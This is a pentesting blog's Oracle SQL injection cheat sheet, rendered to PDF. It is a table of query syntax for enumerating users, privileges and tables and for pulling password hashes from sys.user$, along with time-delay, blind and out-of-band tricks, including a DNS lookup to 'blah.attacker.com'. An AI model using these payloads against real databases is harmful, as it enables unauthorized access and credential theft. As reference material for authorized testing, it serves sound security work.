Categories

- Blog (78)
- Cheat Sheets (10)
  - Shells (1)
  - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
  - Audit (3)
  - Misc (7)
  - User Enumeration (4)
  - Web Shells (3)
- Uncategorized (3)
- Yaptest (15)
  - Front End (1)
  - Installing (2)
  - Overview (2)
  - Using (8)

RSS Feed

Oracle SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into Oracle databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

- Oracle
- MSSQL
- MySQL
- PostgreSQL
- Ingres
- DB2
- Informix

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "– priv" at the end of the query.

Version	SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance;
Comments	SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User	SELECT user FROM dual

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

List Users	SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv
List Password Hashes	SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g
Password Cracker	checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges	SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; — priv, list a user's privs SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; — priv, list DBAs, DBA roles
Current Database	SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases	SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status).
List Columns	SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables	SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
Find Tables From Column Name	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; — NB: table names are upper case
Select Nth Row	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth	SELECT substr('abcd', 3, 1) FROM dual; — gets 3rd character, 'c'

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Char	
Bitwise AND	SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char	SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value	SELECT ascii('A') FROM dual; — returns 65
Casting	SELECT CAST(1 AS char) FROM dual; SELECT CAST('1′ AS int) FROM dual;
String Concatenation	SELECT 'A' || 'B' FROM dual; — returns AB
If Statement	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn't play well with SELECT statements
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes	SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay	BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can't seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name('10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay
Make DNS Requests	SELECT UTL_INADDR.get_host_address('google.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution	Javacan be used to execute commands if it's installed.ExtProc can sometimes be used too, though it normally failed for me.
Local File	UTL_FILE can sometimes be used. Check that the following is non-null:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Access	SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address	SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name('10.0.0.1′) FROM dual; — gets hostnames
Location of DB files	SELECT name FROM V$DATAFILE;
Default/System Databases	SYSTEM SYSAUX

Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Christian Mehlmauer:

Get all tablenames in one string	select rtrim(xmlagg(xmlelement(e, table_name || ',')).extract('//text()').extract('//text()') ,',') from all_tables – when using union based SQLI with only one row
Blind SQLI in order by clause	order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = 'a' and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype

Tags: cheatsheet, database, oracle, pentest, sqlinjection

Posted in SQL Injection

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD